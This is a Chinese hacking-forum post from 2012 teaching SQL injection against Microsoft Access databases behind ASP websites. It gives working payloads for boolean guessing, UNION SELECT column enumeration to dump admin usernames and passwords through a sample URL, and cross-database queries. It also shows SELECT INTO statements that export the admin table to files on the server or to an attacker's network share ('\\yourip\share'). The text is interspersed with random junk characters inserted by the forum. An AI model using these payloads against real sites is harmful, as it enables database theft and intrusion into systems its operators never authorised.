找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2119|回复: 0
打印 上一主题 下一主题

Access高级注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:20:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
--------------------------------------------------------------& \8 q! K& ^4 |8 i+ ~
union查询法
4 N. E* x, i# C; K7 F* x首先要说的就是查询办法,一般的查询办法就是6 s5 ]* M8 n7 H# r$ N8 }3 x
) {9 X- O0 g( G  t6 Z2 A8 ~
程序代码
6 @0 Y$ I4 U* l" ?$ M5 n$ p7 ~( Yand 1=(select count(*) from admin where left(id,1)='1')1 i$ O. F. ]/ c# w" h

# {1 W, f- F# q6 K$ j: F* Q* d6 `. S这样开始判断了...就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢. 特别是在猜测经过32位MD5加密过的段的时候...基本上你可以去泡壶茶再喝一杯.6 q6 {3 P3 F7 P
所以这个时候,union select横空出现.别以为只能在PHP里用哦...
" L. P% w& n/ F. y$ ~* i# b! j譬如你有一个ACCESS点:- [* l. t3 t. o- g! y
程序代码
; |% A' T) J1 n- A: c% n! a; Khttp://bbs.tian6.com/xiaoyang.asp?coder=1/ t% ^: [# n: _+ a* e' k) O% z

, [0 U% J( ]: j% Q7 S/ U8 h5 |3 |知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),
; w4 @$ @% [0 X% ]% o' D8 k( d然后我们直接来:" t5 ~9 \) k$ j9 `4 U9 X! h
程序代码5 l- u5 P$ f% u" V4 X( @
http://bbs.tian6.com/xiaoyang.asp?coder=1 union select 1,2,3,4,5,6..... from admin [where coderx=1(如果有限制查询条件)]/ Z& {1 y& |3 j- s
. q) F) ]3 M' X& a( A
这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.0 V+ P2 }% e" S9 e

9 z- Z4 u+ y% [4 S! q6 ?# z5 c$ ~7 Q+ d% L& [& e

: j( G' j* x3 J5 K6 ]2 ]0 V---------------------------------------------------------------3 w' D1 f1 ~4 [4 [4 K
Access跨库查询
6 a, W. \8 ^, i有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.
1 {# N% K/ p$ M1 d' S. V6 o# }跨库的查询语句:
1 P4 P% ]$ z9 e3 Z4 Y) N7 ?子查询:
7 ?8 U; `- n& t- W( Z程序代码
/ X7 ~# R$ ~1 x! I+ vand (Select Count(*) from [D:\tianyang\backdoor\xiaoyang.mdb].test)>0
4 Y0 _, D1 U& K! B6 M: J
* y- a1 H0 Y8 @: T: ?% Bunion查询:, k; L3 [' ~$ q6 @; E
程序代码6 U" o: k1 W) d) f! g' `* M0 j
union select 1,2,3,4.... from admin in "D:\xioatianyang\okok.asa" where id=10 v- ?$ [! v$ w
0 r- m& q0 @: h+ v7 W
跨库的作用当然不只这些了,大伙继续发挥吧..这里提供两篇参考过的文章连接:$ V: }+ `1 `" n2 L9 a: [
程序代码, Z: B! B/ C6 p
http://www.4ngel.net/article/46.htm
* X7 {8 }& w% j$ H/ V5 f+ t0 V6 rhttp://hf110.com/Article/hack/rqsl/200502/66.html
  {8 n6 U0 W4 X0 c& c( r
* g$ ~& r) B2 }7 s! k( ]---------------------------------------------------------------
; J* J9 x& G9 B$ v- _, o% `8 q6 aAccess注入,导出txt,htm,html2 H/ V# \7 ?- u5 Y0 u% P* V$ E% K* Q
子查询语句:* o5 I. Y* l4 Y  z* a9 R% R
程序代码
, n# ~6 `2 Z- w8 |6 YSelect * into [test.txt] in 'd:\web\' 'text;' from admin0 l5 }" C' A; Q0 ]+ p+ C* y6 z; h+ R
6 d4 F4 D  R- d7 y3 O) ?6 \
这样就把admin表的内容以test类型存进了d:\web里面.2 v2 H( ]! A* p
UNION查询:1 O- M$ I( v( i  J9 x
程序代码
, f  j4 _# e. s" d1 r  kunion select * into [admin.txt] in 'c:\' 'test;' from admin/ o: T, E+ B$ V, r
, b( m* H, B' _, C" ]" n9 x9 Z8 U
而且这里也可以保存到本地来:
  B0 `5 C3 i5 p0 ~程序代码
7 b9 W, g$ |! j: x0 a* I3 hSelect * into [test.txt] in '\\yourip\share' 'text;' from admin
) Z  D0 r) z$ g# y
' t$ q- p* [9 L% S& _; G7 P不过,很多人包括我自己测试,本机数据库来操作是没问题的,但是一旦在注入点上,子查询会回显没有权限,union会回显动作查询不能作为行的来源.可以说还是个难题...原因大概是UNION只适用查询结合,UNION后面不能跟动作.和这个内容相关的,本论坛已有一帖:+ p/ ~5 B6 `! _4 y
: K3 g( B3 s- v1 ^/ Y- y9 k
程序代码  E" C' E7 {6 U* A* S; E6 y
http://bbs.tian6.com/viewthread.php?tid=3016&extra=page%3D7
7 I5 T- L9 _& K) \$ Q. _; ]
/ S. {% X0 b$ [5 ?8 }/ z  T因为网上有许多和这相关的资料,所以我还是把他引进来了.如果一旦这方法运用成功的话,理论上我们只要知道表名,不需要知道段名,就可以看到该表所有内容了.或者我们可以建.php.tianyang  asp.asp之类的文件或者目录来导进文件~还是会很强大的.. k$ f4 {- z& C) o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表